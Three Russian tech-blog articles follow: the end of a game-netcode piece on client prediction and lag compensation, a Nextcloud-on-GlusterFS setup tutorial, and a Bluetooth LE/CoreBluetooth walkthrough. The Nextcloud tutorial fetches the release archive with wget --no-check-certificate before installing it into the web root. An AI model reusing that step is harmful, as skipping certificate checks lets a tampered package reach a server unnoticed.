Схема работы репликации и клиентских предсказаний основана на том, что все данные, необходимые для симуляции, содержатся в компонентах. Выше, в разделе про ECS, я писал, что системам разрешается держать часть данных — это может быть удобно в некоторых случаях. Это не распространяется на любые данные, которые влияют на симуляцию — они всегда обязаны быть внутри компонентов, так как системы работы клиентских и серверных снапшотов работают только с компонентами.
Помимо предсказания значений полей внутри компонентов, есть возможность предсказывать создание и удаление компонентов. Например, если в результате использования способности на персонажа накладывается `SpeedModifierComponent` (который модифицирует скорость передвижения, например — ускоряет игрока), то он должен быть добавлен на персонажа и на сервере, и на клиенте на одном и том же кадре, в противном случае это приведет к неверному предсказанию положения персонажа на клиенте.
Предсказание создания и удаления объектов на данный момент не поддерживается. Это может быть удобно в некоторых ситуациях, но также усложнит сетевые модули. Возможно, мы вернемся к этому в будущем.
Ниже показана gif-ка, в которой управление персонажем происходит при RTT около 1.5 секунды. Как видно, управление персонажем происходит мгновенно, несмотря на высокую задержку: перемещение, стрельба, перезарядки, броски гранат — все происходит не дожидаясь информации с сервера. Также, можно заметить, что захват точки (зона, ограниченная треугольниками) начинается с задержкой — эта механика работает только на сервере и не предсказывается клиентом.
Миспредикты и ресимуляции
-------------------------
Миспредикт — расхождение между результатами симуляций сервера и клиента. Ресимуляция — процесс корректировки этого расхождения клиентом.
Первая причина появления миспредиктов — это резкие скачки пинга, под которые клиент не успел подстроиться. В такой ситуации, на сервер может не успеть попасть инпут от игрока, и сервер некоторое время будет пользоваться описанным выше резервным механизмом с дублированием последнего инпута, а через некоторое время перестанет использовать и его.
Вторая причина — это взаимодействие персонажа с объектами, которые полностью управляются сервером и не предсказываются локально клиентом. Например, коллизия с другим игроком вызовет миспредикт — так как они, по сути, живут в двух разных периодах времени (локальный персонаж находится в будущем относительно другого игрока — чье положение приходит с сервера и интерполируется).
Третья, и самая неприятная причина — это баги в коде. Например, система может по ошибке использовать не реплицируемые данные для управления симуляцией, либо же системы работают в неправильном порядке, или даже в разных порядках на сервере и клиенте.
Поиск этих багов порою занимает приличное время. Для того чтобы упростить их поиск мы сделали несколько вспомогательных инструментов — во время работы приложения можно посмотреть:
* Реплицируемые компоненты,
* Количество миспредиктов,
* На каких кадрах они произошли,
* Какие данные были на сервере и на клиенте в разошедшихся компонентах,
* Какой инпут был применен на сервере и на клиенте за этот кадр.
К сожалению, даже с ними поиск причин ресимуляций все еще занимает приличное количество времени. Инструментарий и валидации несомненно нужно развивать, чтобы уменьшить вероятность появления багов и упростить их поиск.
Для того, чтобы поддержать работу ресимуляций, система должна наследоваться от определенного класса `ResimulatableSystem`. В ситуации, когда произойдет миспредикт, мир “откатит” все объекты на последнее известное серверное состояние, и затем сделает необходимое число симуляций вперед чтобы исправить эту ошибку — в этом будут участвовать только Resimulatable системы.
В общем случае ресимуляции на клиенте не должны быть сильно заметны игрокам. Когда они происходит, все поля компонентов плавно интерполируются в новые значения чтобы визуально сгладить возможные “дергания”. Тем не менее, критически важно держать их количество минимально возможным.
Стрельба
--------
Нанесение урона игрокам полностью диктуется сервером — клиентам нельзя доверять в такой важной механике, чтобы уменьшить вероятность читерства. Но, как и передвижение, стрельба на клиенте должна происходить максимально отзывчиво и без задержек — игроку нужно получать мгновенный фидбек в виде эффектов и звуков — muzzle flash, след от полета снаряда, а также эффекты от попадания снаряда по окружению и другим игрокам.
Поэтому все состояние персонажа, связанное со стрельбой, предсказывается клиентом — сколько патронов в магазине, разброс во время стрельбы, задержки между выстрелами, время последнего выстрела и так далее. Также на клиенте работают те же системы, отвечающие за движение снарядов, что и на сервере — это позволяет симулировать выстрелы на клиенте не дожидаясь результатов их симуляции на сервере.
Сама баллистика снарядов не предсказывается — так как они летят с очень большой скоростью, и, как правило, заканчивают свое движение за несколько кадров, то снаряд уже успеет попасть в какую-то точку в мире и проиграть эффект, перед тем как мы получим результаты симуляции это снаряда с сервера (или отсутствие результатов, если из-за миспредикта клиент выпустил снаряд по ошибке).
Немного отличается схема работы медленно летящих снарядов. Если игрок кидает гранату, но в результате миспредикта окажется, что граната не была брошена — она будет уничтожена на клиенте. Аналогично, если клиент неправильно предсказал уничтожение гранаты (на сервере она уже взорвалась, а на клиенте еще нет), то клиентская граната также будет уничтожена. Вся информация о взрывах, которые показываются на клиенте, приходит с сервера чтобы избежать ситуаций, когда в результате клиентской ошибки на сервере взрыв произошел в одном месте, а на клиенте в другом.
В идеале, медленно летящие снаряды хотелось бы полностью предсказывать в будущем — не только время жизни, но и их позиции.
Компенсация лага
----------------
Компенсация лага — это техника, которая позволяет нивелировать влияние задержки между сервером и клиентом на точность стрельбы. В этом разделе я буду предполагать, что стрельба всегда происходит из “hitscan” оружия — т.е. снаряд, выпущенный оружием, путешествует с бесконечной скоростью. Но все, что здесь описано так же имеет значение и при других видах оружия.
Следующие моменты обусловливают необходимость компенсации лага при стрельбе:
* Персонаж под контролем игрока находится в будущем относительно сервера (предсказывая на некоторое количество кадров вперед свое состояние);
* Следовательно, остальные игроки находятся относительно него в прошлом;
* При выстреле, соответствующий action отправляется клиентом на сервер и применяется на том же кадре, на котором он был применен на клиенте (по возможности).
Если предположить, что игрок целится пробегающему мимо врагу в голову и нажимает кнопку выстрела, то получается следующая картина:
* На клиенте: стрелок на кадре N1 производит выстрел в голову врагу, находящемуся на кадре N0 (N0 < N1);
* На сервере: стрелок на кадре N1 производит выстрел в голову врагу, также находящемуся на кадре N1 (на сервере все находятся в одном моменте времени).
Результатом этого, с большой вероятностью, является промах при выстреле. Так как клиент целится на основе своей картины мира, не совпадающей с картиной мира сервера, то, чтобы попасть во врага, ему нужно целиться в него наперед даже при использовании hitscan оружия, причем расстояние, наперед которого он должен стрелять, зависит от качества соединения с сервером. Это, мягко говоря, не самый хороший опыт для стрелка.
Чтобы избавиться от этой проблемы, используется компенсация лага. Схема ее работы следующая:
* Сервер держит ограниченную в размере историю снапшотов мира;
* При выстреле, враги (или часть врагов) “откатываются” таким образом, чтобы мир на сервере соответствовал миру, который видел у себя клиент — клиент находится в “настоящем” (момент выстрела), а враги — в прошлом;
* Работает механика hit detection’а, регистрируются попадания;
* Мир возвращается в оригинальное состояние.
Так как картина мира на клиенте также зависит от работы системы интерполяции, то для того чтобы “откатить” мир в максимально точное клиентское состояние на сервере, клиент передает ему дополнительные данные — разницу между текущим кадром клиента и кадром, за который он видит всех остальных игроков (на данный момент это два байта на кадр), а также время генерации инпута выстрела относительно начала кадра.
Компенсация лага существует на уровне отдельного модуля внутри движка и не привязана к конкретному проекту. С точки зрения разработчика геймплейной механики, ее использование выглядит следующим образом:
* На игрока добавляется `LagCompensationComponent`, и заполняется список хитбоксов, которые требуется хранить в истории;
* При стрельбе (или другой механики, требующей компенсации — например при атаках ближнего боя), вызывается `LagCompensation::invoke`, куда передается функтор, который будет выполнен в “компенсированном”, с точки зрения конкретного игрока, мире. В нем должен происходить весь необходимый hit detection.
Код с примером использования компенсации лага из Batle Prime при движении баллистических снарядов:
```
// `targets_data` содержит информацию о том,
// куда был “откачен” тот или иной противник,
// используется для отладки
const auto compensated_action = [this](const Vector& targets\_data) {
process\_projectile(projectile, elapsed\_time);
};
LagCompensation::invoke(
observer, // игрок, используя чью перспективу нужно откатить мир
projectile\_component->input\_time\_ms, // время, в которое был произведен выстрел
compensated\_entities, // объекты, которые нужно компенсировать
compensated\_action // функтор, который будет вызван в компенсированном мире
);
```
Хочется также заметить, что лаг компенсация — это схема, которая ставит опыт стрелка выше опыта цели, в которую он стреляет. С точки зрения цели, враг может попасть в него в тот момент, когда он уже находится за препятствием (частая жалоба на игровых форумах). Для этого у компенсации лага ограничено количество кадров, на которое цели могут быть “откачены”. На данный момент в Battle Prime стрелок при RTT около 400 миллисекунд сможет комфортно попадать во врагов. Если RTT выше — придется стрелять наперед.
Пример стрельбы без компенсации — нужно стрелять наперед, чтобы стабильно попадать по врагу:
И с компенсацией — можно комфортно целиться прямо в противника:
На наших билд-агентах также периодически запускаются автотесты, которые проверяют работу разных механик. Среди них есть и автотест на точность стрельбы при включенной компенсации лага. В гифке ниже показан этот тест — персонаж просто стреляет в голову пробегающему мимо врагу и считает число попаданий по нему. Для отладки дополнительно отображаются хитбоксы врага, которые были на сервере на момент выстрела (белым цветом), и хитбоксы, которые использовались для хит детекшена внутри компенсированного мира (синим цветом):
Дополнительный фактор, который влияет на точность стрельбы — это положения хитбоксов на персонаже. Хитбоксы зависят от скелетных анимаций, а их фазы в данный момент никак не синхронизируются, поэтому возможна ситуация, когда хитбоксы различаются между клиентом и сервером. Последствия этого зависят от самих анимаций — чем больше диапазон движения внутри анимации, тем больше потенциальная разница в положениях хитбоксов между сервером и клиентом. На практике, подобная разница слабо заметна игроку и больше влияет на нижнюю часть тела, которая является менее критичной по сравнению с верхней (голова, туловище, руки). Тем не менее, в будущем хотелось бы более подробно заняться вопросом синхронизации анимаций между сервером и клиентом.
Заключение
==========
В этой статье я постарался описать фундамент, на котором строится Battle Prime — это имплементация паттерна ECS внутри Blitz Engine, а также сетевой модуль, который отвечает за репликацию, клиентские предсказания и сопутствующие механики. Несмотря на некоторые недостатки (над исправлением которых мы продолжаем работать), использовать этот функционал сейчас просто и удобно.
Чтобы показать общую картину работы Battle Prime, пришлось затронуть большое количество тем. Многим из них могут в будущем быть посвящены отдельные статьи, в которых они будут описаны в более детальном виде!
Игра уже проходит тест в Турции и на Филиппинах.
Автор: [loreglean](https://habr.com/ru/users/loreglean/)
С предыдущими нашими статьями можно ознакомиться по следующим ссылкам:
1. [habr.com/ru/post/461623](https://habr.com/ru/post/461623/)
2. [habr.com/ru/post/465343](https://habr.com/ru/post/465343/) | https://habr.com/ru/post/469709/ | null | ru | null |
# Как я практику в универе сдавал и Nextcloud настраивал
Собственно, и о чем текст?
--------------------------
Как часто наши ожидания расходятся суровой реальностью?
Вот и я, поступая в ~~лучший технический ВУЗ страны~~ на кафедру ИБ, рассчитывал на увлекательное обучение, веселую студенческую жизнь и, конечно, интересную практику. Однако, вместо того, чтобы разгадывать шифры (привет, Алан) и открывать криптексы (добрый вечер, Роберт) мне пришлось настривать облако Nextcloud на нескольких серверах, объединенных в кластер. И это оказалось интересно!
«Ну и что в этом сложного?» — подумали Вы. Действительно, задачка весьма и весьма тривиальная. Однако, когда я искал в Сети информацию по данному вопросу, мне так и не удалось найти туториала, который объединял бы вместе все части настройки. Поэтому, дабы съэкономить время таких же чайников сетевого администрирования, я пишу эту, с Вашего позволения, статью.
Итак, что мы получим в конце — небольшое облако Nextcloud, имеющее в основе мастер-сервер (да, да, конечно нам нужен прокси. И несколько мастер-серверов. А еще скилл. Если Вы ждете всего этого — прошу прощения.), несколько (в данном случае 2) серверов, играющих роль объедененного, отказоустойчивого хранилища, БД.
Миленькое такое облачко, для маленькой такой компании.
Ну, поехали
-----------
### Начальные условия
Прежде всего, мы должны подготовить оборудование (в моем случае VirtualBox, с созданными в нем тремя машинами).
Мастер — 192.168.0.105
Сервер1 — 192.168.0.108
Сервер2 — 192.168.0.109
1. Операционная система — Ubuntu Server 16.04.
Параметры машин особой роли не играют — для разворачивания нашего небольшого облака достаточно мощности среднего (совсем среднего) компьютера. Завышенные параметры виртуальных машин могут сыграть с Вами злую шутку — когда я показывал практику на университетском компьютере с четырьмя гигабайтами ОП, запуск третьей машины привел к падению компа. Хотя, может в этом виновата очередная кастомная Unix-система, стоявшая на нём?
2. Работающая сеть.
Если Вы, как и я, пользуетесь ВиртуалБокс, то советую в настройках сети указать «Сетевой мост», как тип подключения. Таким образом вы можете пропинговать сервер в коробке и с основной системы, и с других машин.
3. Хороший плейлист (опционально)
По истечении n-ного часа танцев с бубном в поисках оптимального решения (быть может, я еще в процессе) стало совсем невмоготу.
### Настройка кластера
Чтобы получить отказоустойчивое хранилище, состоящее из нескольких серверов, нам нужен кластер. Я выбрал Gluster, потому что смог найти [отличные](https://habrahabr.ru/post/251931/) маны на русском(!!) языке.
Начнем с установки.
Открываем консоль нашего сервера и вводим следующее:
```
sudo apt-get install python-software-properties
```
Затем, подключаемся к репозиторию:
```
sudo add-apt-repository ppa:gluster/glusterfs-3.8
sudo apt-get update
```
И, наконец, устанавливаем:
```
sudo apt-get install glusterfs-server
```
Производим те же самые действия на втором (n-ном) сервере.
**Совет! (для чайников)**
Впервые столкнувшись с настройкой серверов в ВМ я был неприятно удивлен отсутствием общего буфера между гостевой и основной ОС (хотя, это было ожидаемо). Поэтому, для общения с машинами я использовал [Путти](http://www.putty.org/) . Скачиваем, запускаем путти.экзе. Перед использованием не забываем установить на машинах, которым будем обращаться, openssh-server:
```
sudo apt-get install openssh-server
```
Думаю, этот же клиент можно использовать и при общении с настоящими машинами. А, может, и лучше есть?
Итак, Gluster установлен. Теперь, создаем подключение. Но прежде, узнаем ip-адреса наших серверов:
```
ifconfig
```
Вот теперь создаем, прописывая с первого сервера следующее (прежде, авторизовавшись под root-ом):
```
gluster peer probe 192.168.0.109
```
peer probe: success.
Отлично, теперь мы имеем 2 сервера в кластере. Производим эту операцию столько раз, сколько серверов мы хотим объединить в кластере, меняя лишь ip-адрес сервера.
Хранилище, которое мы создаем при помощи Glusterfs, имеет несколько видов хранения контента (подробнее, в ссылке выше). Нас интересует replicated — контент зеркально копируется на все сервера в кластере.
Пока, нам негде хранить данные, поэтому создадим папки на наших серверах:
на первом:
```
mkdir /mnt/server1
```
и на втором:
```
mkdir /mnt/server2
```
Финальная часть кластера — создаем хранилище:
```
gluster volume create nextcloud replica 2 transport tcp 192.168.0.108:/mnt/server1 192.168.0.109:/mnt/server2 force
```
где nextcloud — название нашего хранилища, а 2 — количество серверов в кластере.
Не забываем про словечко force в конце — можно получить ошибку и долго ломать голову, что же не так?
Запускаем:
```
gluster volume start nextcloud
```
Работа с кластером почти завершена. Остальное — после установки облака.
### Установка Nextcloud
Для этого нам понадобится наш мастер сервер. Заходим под рут правами и наслаждаемся.
Для установки можно использовать [эту](https://community.vscale.io/hc/ru/community/posts/115000046409-%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-%D0%B8-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-Nextcloud-11-%D0%BD%D0%B0-Ubuntu-16-04) статью. Доходим до Шаг 5. Останавливаемся.
Скачиваем архив с облаком:
```
cd ~
wget --no-check-certificate https://download.nextcloud.com/server/releases/nextcloud-11.0.0.tar.bz2
sudo tar -C /var/www -xvjf ~/nextcloud-11.0.0.tar.bz2
rm ~/nextcloud-11.0.0.tar.bz2
```
Создаем пару папок:
```
sudo mkdir /var/www/nextcloud/data
sudo mkdir /var/www/nextcloud/assets
```
Самый ответственный момент. Вспоминаем про наш кластер и подключаем его к мастер серверу:
```
mount.glusterfs 192.168.0.108:/nextcloud /var/www/nextcloud/data/
```
Теперь все файлы, попадающие в наше облако будут скопированы на все сервера.
Завершаем установку, следуя советам из статьи.
### Что в итоге?
Ну и что же у нас получилось? А получилось небольшое облако, которое отказоустойчиво к падению серверов, которые хранят данные — попробуйте специально уронить один из них — мастер немного подумает и снова все будет работать. Когда упавший сервер восстановится, данные на нем автоматически обновятся.
Конечно, узким местом является мастер-сервер. Наличие нескольких мастеров, работающих с одной БД, под управлением, например, Galera и прокси-сервера, отвечающего за распределение трафика между ними, в разы повысило бы отказоустойчивость системы (хотя, врядли сейчас её можно таковой назвать). Может быть в следующей статье?
Если Вы дочитали до этого момента ~~вы герой~~ — спасибо огромное за внимание.
Для приятного сообщества — приятно писать. | https://habr.com/ru/post/340322/ | null | ru | null |
# Bluetooth LE не так уж и страшен, или Как улучшить пользовательский опыт без особых усилий
Недавно мы в команде придумали и реализовали функцию передачи денег по воздуху с помощью технологии Bluetooth LE. Я хочу рассказать вам, как мы это сделали и что Apple предоставляет нам из инструментов. Многие разработчики думают что Bluetooth — это сложно, ведь это достаточно низкоуровневый протокол, и по нему не так много специалистов. Но всё не так страшно, и на самом деле использовать эту функцию очень просто! А те функции, которые можно реализовать с помощью Bluetooth LE, безусловно, интересны и впоследствии позволят выделить ваше приложение среди конкурентов.
Давайте сначала разберёмся, что это вообще за технология и в чём её отличие от классического Bluetooth.
**### Что такое Bluetooth LE?**
Почему разработчики Bluetooth назвали эту технологию именно Low Energy? Ведь с каждой новой версией Bluetooth энергопотребление и без того многократно снижалось. Ответ кроется в этой батарейке.
Её диаметр всего 2 см, а ёмкость около 220 мА\*ч. Когда инженеры разрабатывали Bluetooth LE, они стремились к тому, чтобы устройство с такой батарейкой работало несколько лет. И у них это получилось! Bluetooth LE-устройства c таким элементом питания могут работать от года. Кто из вас еще по-старинке выключает Bluetooth на телефоне для экономии энергии, как это делали в 2000-м? Зря вы это делаете — экономия будет меньше 10 секунд работы телефона в день. А функциональность вы отключаете очень большую, такую как Handoff, AirDrop и другие.
Чего же инженеры добились, разработав Bluetooth LE? Они усовершенствовали классический протокол? Сделали его более энергоэфективным? Просто оптимизировали все процессы? Нет. Они полностью переделали архитектуру стека Bluetooth и добились того, что теперь, чтобы быть видимым для всех других устройств, необходимо меньше времени находиться в эфире и занимать канал. В свою очередь это позволило хорошо сэкономить на энергопотреблении. А с новой архитектурой теперь можно стандартизировать любое новое устройство, благодаря чему разработчики со всего мира могут коммуницировать с устройством, а значит, и с легкостью писать новые приложения для управления им. Кроме того, в архитектуру заложен принцип self-discovery: при подключении к устройству не нужно вводить никакие пин-коды, и если ваше приложение умеет общаться с этим устройством, подключение занимает считанные миллисекунды.
* Меньше времени в эфире.
* Меньше расход энергии.
* Новая архитектура.
* Уменьшено время подключения.
**За счёт чего удалось инженерам сделать такой колоссальный скачок в энергоэффективности?**
Частота осталась та же: 2,4 ГГц, не сертифицируемая и свободная для использования во многих странах. А вот задержка подключения стала меньше: 15-30 мс вместо 100 мс у классического Bluetooth. Расстояние работы осталось таким же — 100 м. Интервал передачи не сильно, но изменился — вместо 0,625 мс стало 3 мс.
Но не могло же из-за этого энергопотребление уменьшиться в десятки раз. Конечно же, что-то должно было пострадать. И это скорость: вместо 24 Мбит/с стало 0,27 Мбит/с. Вы, наверное, скажете, что это смешная скорость для 2018 года.
**### Где используется Bluetooth LE?**
Технология эта немолодая, впервые она появилась в iPhone 4s. И уже успела завоевать много сфер. Bluetooth LE используется во всех устройствах умного дома и в носимой электронике. Сейчас уже есть даже чипы размером с кофейное зерно.
**А как эта технология применяется в программном обеспечении?**
Поскольку Apple была первой, кто встроил в своё устройство Bluetooth и начал её использовать, то к настоящему времени они достаточно хорошо продвинулись и встроили технологию в свою экосистему. И сейчас вы можете встретить эту технологию в таких сервисах, как AirDrop, Devices quick start, Share passwords, Handoff. И даже уведомления в часах сделаны через Bluetooth LE. Вдобавок, Apple выложила в открытый доступ документацию, как сделать так, чтобы на ваши собственные устройства приходили уведомления из всех приложений. Какие бывают роли устройств в рамках Bluetooth LE?
**Broаdcaster.** Отправляет сообщения всем, кто находится рядом, к этому устройству нельзя подключиться. По такому принципу работают iBeacons и навигация в помещениях.
**Observer.** Слушает, что происходит вокруг, и получает данные только от общедоступных сообщений. Соединения не создаёт.
А вот с **Central** и **Peripheral** интереснее. Почему их не назвали просто Server-Client? Логично же, судя по названию. А вот и нет.
Потому что Peripheral, на самом деле, выступает как сервер. Это периферийное устройство, которое потребляет меньше энергии и к которому подключается более мощный Central. Peripheral может извещать, что он находится рядом и какие у него есть службы. К нему может подключиться только одно устройство, и у Peripheral есть какие-то данные. А Central может сканировать эфир в поиске устройств, отправлять запросы на подключение, подключаться к любому количеству устройств, может читать, записывать и подписывать на данные у Peripheral.
Что же нам, как разработчикам, доступно в экосистеме Apple?
**### Что нам доступно?**
**iOS/Mac OS:**
* Peripheral и Central.
* Фоновый режим.
* Восстановление состояния.
* Интервал подключения 15 мс.
**watchOS/tvOS:**
* watchOS 4+/tvOS 9+.
* Только Сentral.
* Максимум два подключения.
* Apple watch series 2+/ AppleTv 4+.
* Отключение при переходе в фоновый режим.
* Интервал подключения 30 мс.
Самое важно различие — интервал подключения. На что он влияет? Чтобы ответить на этот вопрос, сначала нужно разобраться, как работает протокол Bluetooth LE и почему такая небольшая разница в абсолютных значениях очень важна.
**### Как работает протокол**
Как происходит процесс поиска и подключения?
Peripheral сообщает о своем присутствии с частотой advertisement-интервала, его пакет очень маленький и содержит всего несколько идентификаторов сервисов, которые предоставляет устройство, а также имя устройства. Интервал может быть достаточно большим и способен варьироваться в зависимости от текущего статуса устройства, режима энергосбережения и других настроек. Apple советует разработчикам внешних устройств привязывать длину интервала к акселерометру: увеличивать интервал, если устройством не пользуются, а когда оно активно — уменьшать, чтобы быстро находить устройство. Advertisement-интервал никак не коррелирует c интервалом подключения и определяется самим устройством в зависимости от энергопотребления и своих настроек. Нам он в экосистеме Apple недоступен и неизвестен, им полностью управляет система.
После того, как мы нашли устройство, отправляем запрос на подключение, и вот тут на сцену выходит интервал подключения — время, через которое второе устройство может ответить на запрос. Но это при подключении, а что же происходит при чтении/записи?
Интервал подключения также фигурирует и при чтении данных — его уменьшение в 2 раза увеличивает скорость передачи данных. Но нужно понимать, что если оба устройства не поддерживают одинаковый интервал, то будет выбран максимальный из них.
Давайте рассмотрим, из чего состоит пакет с информацией, который передает Peripheral.
MTU (maximum transmission unit) такого пакета определяется в процессе подключения и варьируется от устройства к устройству и в зависимости от операционной системы. В протоколе версии 4.0 MTU был около 30, и размер полезных данных не превышал 20 байтов. В версии 4.2 всё поменялось, теперь можно передавать около 520 байтов. Но, к сожалению, эту версию протокола поддерживают только устройства младше IPhone 5s. Размер накладных расходов, независимо от размера MTU, составляет 7 байтов: сюда входят ATT и L2CAP заголовков. С записью, в целом, похожая ситуация.
Есть только два режима: с ответом и без. Режим без ответа значительно ускоряет передачу данных, поскольку нет интервала ожидания перед следующей записью. Но этот режим доступен не всегда, не на всех устройствах и не на всех системах. Доступ к этому режиму записи может ограничить сама система, потому что он считается менее энергоэкономичным. В iOS eсть метод, в котором можно проверить перед записью, доступен ли такой режим.
Теперь давайте рассмотрим, из чего состоит протокол.
Протокол состоит из 5 уровней. **Слой приложения** — эта ваша логика, описанная поверх CoreBluetooth. **GATT (Generic Attributes Layer)** служит для обмена сервисами и характеристиками, которые есть на устройствах. **ATT (Attributes Layer)** используется для управления вашими характеристиками и передачей ваших данных. **L2CAP** — низкоуровневый протокол обмена данными. **Controller** — это уже сам BT-чип.
**Вы, наверное, спросите, что такое GATT и как мы можем с ним работать?**
GATT состоит из характеристики и сервисов. Характеристика — это объект, в котором хранятся ваши данные, словно переменная. А сервис — это группа, в которой находятся ваши характеристики, словно пространство имён. У сервиса есть название — UUID, вы сами его выбираете. Сервис может содержать в себе дочерний сервис.
У характеристики тоже есть свой **UUID** — фактически, имя. **Значение** (Value) характеристики — это NSData, сюда вы можете записывать и хранить данные. **Дескрипторы** — это описание вашей характеристики, вы можете описать, какие данные вы ожидаете в этой характеристике, или что они означают. В протоколе Bluetooth есть много дескрипторов, но в Apple-системах пока доступно только два: человеческое описание и формат данных. Также есть **уровни доступа** (Permissions) для вашей характеристики:
**### Попробуем сами**
У нас появилась идея сделать возможность передачи денег по воздуху, ничего не требуя от получателя. Представьте, вот ломаете голову над очень интересной задачей, пишете идеальный код, и тут коллега предлагает сходить за кофе. А вы так увлечены задачей, что не можете отлучиться, и просите его купить вам чашечку вкусного капучино. Он приносит вам кофе, и нужно вернуть ему деньги. Можно перевести по номеру телефона, работает отлично. Но вот неловкая ситуация — вы не знаете его номера. Ну вот так, три года работаете, а номерами не обменялись :)
Поэтому мы решили сделать возможность передачи денег тем, кто находится рядом, без ввода каких-либо пользовательских данных. Как в AirDrop. Просто выбрать пользователя и отправить нужную ему сумму. Давайте посмотрим, что нам для этого нужно.
**### Отображение PUSH**
Нам нужно, чтобы отправитель:
1. Мог найти все устройства, которые находятся рядом и поддерживают наш сервис.
2. Мог прочитать реквизиты.
3. И мог отослать сообщение получателю о том, что успешно отправил ему деньги.
Получатель, в свою очередь, должен уметь сообщать окружающим отправителям, что у него есть сервис с нужными данными, и уметь получать сообщения от отправителя. Как происходит процесс перевода денег по реквизитам у нас в банке, думаю, описывать не стоит. А теперь попробуем это реализовать.
Для начала нужно придумать названия нашего сервиса и характеристик. Как я говорил, это UUID. Просто генерируем их и сохраняем на Peripheral и Central, чтобы на обоих устройствах были одинаковые.
Вы вольны использовать любые UUID, кроме тех, которые оканчиваются вот так: XXXXXXXX-**0000-1000-8000-00805F9B34FB**, — они зарезервированы под разные компании. Вы сами можете купить себе такой номер и никто его использовать не будет. Это будет [стоить](https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members) $2500.
Далее нам нужно будет создать менеджеры: один для передачи денежных средств, другой для получения. Нужно просто указать делегатов. Передавать у нас будет Central, получать Peripheral. Мы создаем оба, потому что и отправителем, и получателем может быть одно лицо в разное время.
Теперь нам нужно сделать возможность обнаружения получателя и записать в нашу характеристику реквизиты получателя.
Для начала создадим сервис. Пропишем UUID и укажем, что он primary — то есть сервис является главным для этого устройства. Хороший пример: пульсомер, для которого главным сервисом будет текущее состояние пульса, а состояние батареи — это второстепенная информация.
Далее создаем две характеристики: одну для чтения реквизитов получателя, вторую для записи, чтобы получатель мог узнать об отправке денег. Регистрируем их в нашем сервисе, потом добавляем в менеджер, запускаем обнаружение и указываем UUID сервиса, чтобы все устройства, которые находятся рядом, могли узнать о нашем сервисе до подключения к нему. Эти данные помещаются в пакет, который отправляет Central в ходе вещания.
Получатель готов, приступим к отправителю. Запустим поиск и подключение.
При включении менеджера мы запускаем поиск устройств с нашим сервисом. При нахождении мы их получаем в методе делегата и сразу подключаемся. Важно: нужно сохранять strong-ссылку на все Peripheral, с которыми вы работаете, иначе они «утекут».
После успешного подключения настраиваем делегат, который будет работать с данным устройством, и получаем от устройства нужный нам сервис.
Мы успешно подключились к получателю, теперь нужно прочитать его реквизиты.
Мы после подключения уже запросили все сервисы с устройства. И после их получения будет вызван метод делегата, в котором будут перечислены все сервисы, доступные на данном устройстве. Находим нужный и запрашиваем его характеристики. Результат можно будет найти по UUID в методе делегата, в котором хранятся данные для перевода. Пробуем их прочитать, и получим искомое опять в методе делегата. Все сервисы, характеристики и их значения кешируются системой, так что запрашивать их впоследствии каждый раз необязательно.
Всё, мы отправили деньги за кофе, самое время показать получателю красивое уведомление, чтобы он ждал рубли на своем счёте. Для этого нужно реализовать процесс отправки сообщения.
У отправителя достаем нужную нам характеристику, в данном случае мы её взяли из сохраненного значения. Но до этого вам её нужно получить с устройства, как мы делали до этого. А дальше просто записываете данные в нужную характеристику.
После этого на другом устройстве получаем в методе делегата запрос на запись. Тут вы можете прочитать данные, которые вам отправляют, ответить на какую-либо ошибкой, например, нет доступа, или данной характеристики не существует. Всё будет работать, но только если оба устройства включены и приложения активны. А нам нужно, чтобы работало и в фоне!
Apple позволяет использовать Bluetooth в фоне. Для этого нужно в info.plist указать ключ, в каком режиме мы хотим использовать, в Peripheral или Central.
Далее в менеджере нужно указать ключ восстановления и создать метод делегата. Теперь нам доступен и фоновый режим. Если приложение заснёт или будет выгружено из памяти, то при нахождении нужного Peripheral или при подключении Central оно проснётся, а менеджер восстановится с вашим ключом.
Всё отлично, уже готовы релизиться. Но тут к нам прибегают дизайнеры и говорят: «Хотим вставить фотографии пользователей, чтобы им было легче находить друг друга». Что же делать? У нас в характеристику можно записать всего какие-то 500 байтов, а на каких-то устройствах вообще 20 :(
**### Спустимся глубже**
Чтобы решить эту проблему, нам пришлось спуститься глубже.
Сейчас мы общались устройствами на уровне GATT/ATT. Но в iOS 11 у нас есть доступ к протоколу L2CAP. Однако в этом случае придётся самостоятельно позаботиться о передаче данных. Пакеты отправляются с MTU 2 Кб, не нужно ни во что перекодировать, применяется обычный NSStream. Скорость передачи данных до 394 Килобит/с., по заверению Apple.
Допустим, вы передаёте какие-либо данные вашего сервиса от Peripheral к Central в виде обычных характеристик. И понадобилось открыть канал. Вы открываете его на Peripheral, в ответ получаете PSM — это номер канала, к которому можно подключиться, и нужно с помощью тех же характеристик передать его Central. Номер динамический, система сама выбирает, какой PSM открыть в данный момент. После передачи можно уже на Сentral подключиться к Peripheral и обмениваться данными в удобном для вас формате. Давайте рассмотрим, как это сделать.
Для начала на Peripheral открываем порт с шифрованием. Можно делать и без шифрования, тогда это немного ускорит передачу.
Далее мы в методе делегата получаем PSM и отправляем на другое устройство.
После подключения другого устройства у нас вызовется метод, в котором из канала мы можем достать нужные нам для передачи NSStream.
С Central еще проще, мы просто подключаемся к каналу с нужным номером…
… и после этого получаем нужные нам стримы. В них вы можете передавать абсолютно любые данные любого размера, и строить поверх L2CAP свой протокол. Так мы и реализовали у себя передачу фотографий получателя.
Но есть подводные камни, куда же без них.
**### Подводные камни**
Давайте рассмотрим подводные камни при работе в фоновом режиме. Поскольку вам доступны роли Peripheral и Central, вы можете подумать. что в фоне можете определять, какие устройства рядом находятся в фоновом режиме, а какие в активном. В теории так и должно было быть, но Apple ввела ограничение: телефоны, которые находятся в фоновом режиме, будь то Central или Peripheral, не доступны для других телефонов, которые тоже находятся в фоновом режиме. Также телефоны, которые находятся в фоновом режиме, не видны с неiOS-устройств. Давайте рассмотрим почему так происходит.
Когда ваше устройство активно, оно посылает обычный broadcast-пакет, в котором может быть имя устройства и список сервисов. которые предоставляет это устройство. И overflow данные — всё что не поместилось.
